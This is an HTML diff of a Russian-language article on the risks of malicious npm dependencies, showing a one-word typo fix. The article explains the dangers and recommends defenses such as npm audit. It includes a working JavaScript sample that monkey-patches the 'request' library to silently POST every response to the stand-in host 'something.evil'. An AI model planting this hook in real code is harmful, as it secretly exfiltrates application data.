HTML Diff
1 added 1 removed
Original 2026-01-01
Modified 2026-03-10
1 <p>В этой статье мы поговорим про уязвимости, которым подвержены приложения, использующие уже готовые сторонние модули Node.js. Возможно, вы думаете, что волноваться не стоит. Вы ошибаетесь.</p>
1 <p>В этой статье мы поговорим про уязвимости, которым подвержены приложения, использующие уже готовые сторонние модули Node.js. Возможно, вы думаете, что волноваться не стоит. Вы ошибаетесь.</p>
2 <p>Применение сторонних модулей безопасно далеко не всегда. Например, статья "<a>Reported Malicious module: getcookies</a>" описывает реальный кейс, когда модуль был опубликован и приобрёл популярность, в результате чего разработчики наследовали его в новых модулях. Опасность модуля заключается в том, что он срабатывает, получая предопределённый заголовок, после чего исполняет JS-код из запроса. Мало того, зависимыми от getcookies стали и другие модули, правда, в глобальном масштабе урон был несущественным.</p>
2 <p>Применение сторонних модулей безопасно далеко не всегда. Например, статья "<a>Reported Malicious module: getcookies</a>" описывает реальный кейс, когда модуль был опубликован и приобрёл популярность, в результате чего разработчики наследовали его в новых модулях. Опасность модуля заключается в том, что он срабатывает, получая предопределённый заголовок, после чего исполняет JS-код из запроса. Мало того, зависимыми от getcookies стали и другие модули, правда, в глобальном масштабе урон был несущественным.</p>
3 <p>Интересна и другая<a>статья</a>, в которой специалист по ИБ описывает, как он получил параметры доступа одного из npm-пользователей, тем самым получив контроль над 14 % экосистемы npm. Всё это стало возможным за счёт утечки параметров доступа, а также наряду с применением брутфорса. Т. к. пакеты связаны с другими, автору удалось<strong>по цепочке повлиять на 54 % всей экосистемы npm!</strong>Потом автор опубликовал патч для каждого пакета, который он контролировал, после чего при выполнении команды npm install юзеры выполнили и его собственный код.</p>
3 <p>Интересна и другая<a>статья</a>, в которой специалист по ИБ описывает, как он получил параметры доступа одного из npm-пользователей, тем самым получив контроль над 14 % экосистемы npm. Всё это стало возможным за счёт утечки параметров доступа, а также наряду с применением брутфорса. Т. к. пакеты связаны с другими, автору удалось<strong>по цепочке повлиять на 54 % всей экосистемы npm!</strong>Потом автор опубликовал патч для каждого пакета, который он контролировал, после чего при выполнении команды npm install юзеры выполнили и его собственный код.</p>
4 <p>Следует понимать, что жертвами утечки паролей или попыток фишинга могут стать и авторы хороших пакетов. Да, по итогам вышеописанного исследования в npm внедрили 2-факторную авторизацию (2FA). Но всё равно нельзя сказать, что npm абсолютно безопасна. Ведь 2-факторная аутентификация является опциональной, поэтому нет гарантии, что все авторы будут обязательно её использовать. Кроме того, 2FA всё ещё уязвима для фишинга.</p>
4 <p>Следует понимать, что жертвами утечки паролей или попыток фишинга могут стать и авторы хороших пакетов. Да, по итогам вышеописанного исследования в npm внедрили 2-факторную авторизацию (2FA). Но всё равно нельзя сказать, что npm абсолютно безопасна. Ведь 2-факторная аутентификация является опциональной, поэтому нет гарантии, что все авторы будут обязательно её использовать. Кроме того, 2FA всё ещё уязвима для фишинга.</p>
5 <p>Другие исследователи обнаружили довольно много уязвимостей в модулях<a>Node.js</a>. И это только начало, ведь с увеличением количества экосистем и количества разработчиков на Node.js, атаки, которые направлены на модули npm, приносят всё больше прибыли.</p>
5 <p>Другие исследователи обнаружили довольно много уязвимостей в модулях<a>Node.js</a>. И это только начало, ведь с увеличением количества экосистем и количества разработчиков на Node.js, атаки, которые направлены на модули npm, приносят всё больше прибыли.</p>
6 <h2>Как часто вы применяете сторонние модули?</h2>
6 <h2>Как часто вы применяете сторонние модули?</h2>
7 <p>Как вы думаете, какую часть кода в процентах в вашем приложении составляет сторонний код, а какую - ваш собственный? Если вы считаете, что стороннего кода совсем немного, задайте команду, считывающую строки кода в приложении с последующим сравнением этих строк с кодом из директории node_modules:</p>
7 <p>Как вы думаете, какую часть кода в процентах в вашем приложении составляет сторонний код, а какую - ваш собственный? Если вы считаете, что стороннего кода совсем немного, задайте команду, считывающую строки кода в приложении с последующим сравнением этих строк с кодом из директории node_modules:</p>
8 - <p>Будьте уверены, что реультат вас удивит. Практика показывает, что в проектах с тысячами строк<strong>50 % и более - это сторонний код</strong>.</p>
8 + <p>Будьте уверены, что результат вас удивит. Практика показывает, что в проектах с тысячами строк<strong>50 % и более - это сторонний код</strong>.</p>
9 <h2>Велика ли опасность?</h2>
9 <h2>Велика ли опасность?</h2>
10 <p>Возможно, вы думаете, что это безопасно. Допустим, ваше приложение зависит от модуля А, он зависит от модуля B, тот - от модуля С. Велика ли вероятность утечки важной информации на модуль С?</p>
10 <p>Возможно, вы думаете, что это безопасно. Допустим, ваше приложение зависит от модуля А, он зависит от модуля B, тот - от модуля С. Велика ли вероятность утечки важной информации на модуль С?</p>
11 <p>На самом деле, "коварному" пакету абсолютно не важно, на какой позиции в иерархии приоритетов он находится. Да и вообще, чтобы нанести ущерб, не важно, передавал ли он данные. Главное - определён ли модуль в<strong>require</strong>. Давайте посмотрим, как такой модуль может выполнить незаметную модификацию require, и к чему это приведёт:</p>
11 <p>На самом деле, "коварному" пакету абсолютно не важно, на какой позиции в иерархии приоритетов он находится. Да и вообще, чтобы нанести ущерб, не важно, передавал ли он данные. Главное - определён ли модуль в<strong>require</strong>. Давайте посмотрим, как такой модуль может выполнить незаметную модификацию require, и к чему это приведёт:</p>
12 { // Require the popular `request` module const request = require('request') // Monkey-patch so every request now runs our function const RequestOrig = request.Request request.Request = (options) =&gt; { const origCallback = options.callback // Any outbound request will be mirrored to something.evil options.callback = (err, httpResponse, body) =&gt; { const rawReq = require('http').request({ hostname: 'something.evil', port: 8000, method: 'POST' }) // Failed requests are silent rawReq.on('error', () =&gt; {}) rawReq.write(JSON.stringify(body, null, 2)) rawReq.end() // The original request is still made and handled origCallback.apply(this, arguments) } if (new.target) { return Reflect.construct(RequestOrig, [options]) } else { return RequestOrig(options) } }; }<p>Если вы добавите данный модуль в блок required, он станет перехватывать все запросы, которые выполняются через библиотеку request с последующей отправкой ответов на сервер злоумышленника. Но этот модуль можно изменить и сделать его ещё опаснее. Допустим, он может подменить monkey-patch и создать временный модуль, запускаемый при каждом входящем запросе. В результате конфиденциальная информация может запросто перенаправляться злоумышленнику.</p>
12 { // Require the popular `request` module const request = require('request') // Monkey-patch so every request now runs our function const RequestOrig = request.Request request.Request = (options) =&gt; { const origCallback = options.callback // Any outbound request will be mirrored to something.evil options.callback = (err, httpResponse, body) =&gt; { const rawReq = require('http').request({ hostname: 'something.evil', port: 8000, method: 'POST' }) // Failed requests are silent rawReq.on('error', () =&gt; {}) rawReq.write(JSON.stringify(body, null, 2)) rawReq.end() // The original request is still made and handled origCallback.apply(this, arguments) } if (new.target) { return Reflect.construct(RequestOrig, [options]) } else { return RequestOrig(options) } }; }<p>Если вы добавите данный модуль в блок required, он станет перехватывать все запросы, которые выполняются через библиотеку request с последующей отправкой ответов на сервер злоумышленника. Но этот модуль можно изменить и сделать его ещё опаснее. Допустим, он может подменить monkey-patch и создать временный модуль, запускаемый при каждом входящем запросе. В результате конфиденциальная информация может запросто перенаправляться злоумышленнику.</p>
13 <h2>Что предпринять?</h2>
13 <h2>Что предпринять?</h2>
14 <p>Защитить себя от таких модулей мы можем несколькими способами. Во-первых, надо чётко понимать задачи и цели установленных в вашем приложении модулей. И вы должны твёрдо знать, от скольких модулей зависит ваше приложение. Нашли 2 модуля с одинаковой функциональностью? Выбирайте тот, у которого меньше зависимостей.<strong>Меньше зависимостей - меньше опасность</strong>.</p>
14 <p>Защитить себя от таких модулей мы можем несколькими способами. Во-первых, надо чётко понимать задачи и цели установленных в вашем приложении модулей. И вы должны твёрдо знать, от скольких модулей зависит ваше приложение. Нашли 2 модуля с одинаковой функциональностью? Выбирайте тот, у которого меньше зависимостей.<strong>Меньше зависимостей - меньше опасность</strong>.</p>
15 <p>Ряд больших компаний проводит ручную проверку каждого пакета, составляя белые списки модулей, которыми потом разрешается пользоваться остальным сотрудникам в компании. Подход непрактичен, ведь сегодня существует громадное количество доступных npm-пакетов, не говоря уже о новых релизах.</p>
15 <p>Ряд больших компаний проводит ручную проверку каждого пакета, составляя белые списки модулей, которыми потом разрешается пользоваться остальным сотрудникам в компании. Подход непрактичен, ведь сегодня существует громадное количество доступных npm-пакетов, не говоря уже о новых релизах.</p>
16 <p>Тут стоит упомянуть<strong>npm audit</strong>- инструмент, сканирующий установленные вами модули с последующим сравнением их с чёрным списком модулей. Собственно говоря, даже запуск npm install подскажет, подвержены ли ваши модули известным уязвимостям. А при запуске npm audit fix, вы сможете заменить уязвимые пакеты на более защищённые версии, если они существуют.</p>
16 <p>Тут стоит упомянуть<strong>npm audit</strong>- инструмент, сканирующий установленные вами модули с последующим сравнением их с чёрным списком модулей. Собственно говоря, даже запуск npm install подскажет, подвержены ли ваши модули известным уязвимостям. А при запуске npm audit fix, вы сможете заменить уязвимые пакеты на более защищённые версии, если они существуют.</p>
17 <p>Инструмент мощный, но это лишь первый этап борьбы, делающий упор на известные уязвимости и на то, что о новых уязвимостях своевременно сообщают. Также можно находить проблемы посредством команды npm audit (речь идёт о пакетах, на которые не выпущены патчи). Правда, тут есть минус - порой аудит результатов показывает проблемы, которые не представляется возможным решить на данном этапе.</p>
17 <p>Инструмент мощный, но это лишь первый этап борьбы, делающий упор на известные уязвимости и на то, что о новых уязвимостях своевременно сообщают. Также можно находить проблемы посредством команды npm audit (речь идёт о пакетах, на которые не выпущены патчи). Правда, тут есть минус - порой аудит результатов показывает проблемы, которые не представляется возможным решить на данном этапе.</p>
18 <p>Как бы там ни было, приучите себя быть особенно внимательным к используемым модулям, не забывайте о древе зависимостей, уделяйте особое внимание модулям, где этих зависимостей очень много, и, разумеется, почаще обновляйте свои модули. Пожалуй, это лучшее, что можно сделать, чтобы уберечь себя от проблем.</p>
18 <p>Как бы там ни было, приучите себя быть особенно внимательным к используемым модулям, не забывайте о древе зависимостей, уделяйте особое внимание модулям, где этих зависимостей очень много, и, разумеется, почаще обновляйте свои модули. Пожалуй, это лучшее, что можно сделать, чтобы уберечь себя от проблем.</p>
19 <p><em>По материалам статьи "<a>The Dangers of Malicious Modules</a>".</em></p>
19 <p><em>По материалам статьи "<a>The Dangers of Malicious Modules</a>".</em></p>
20  
20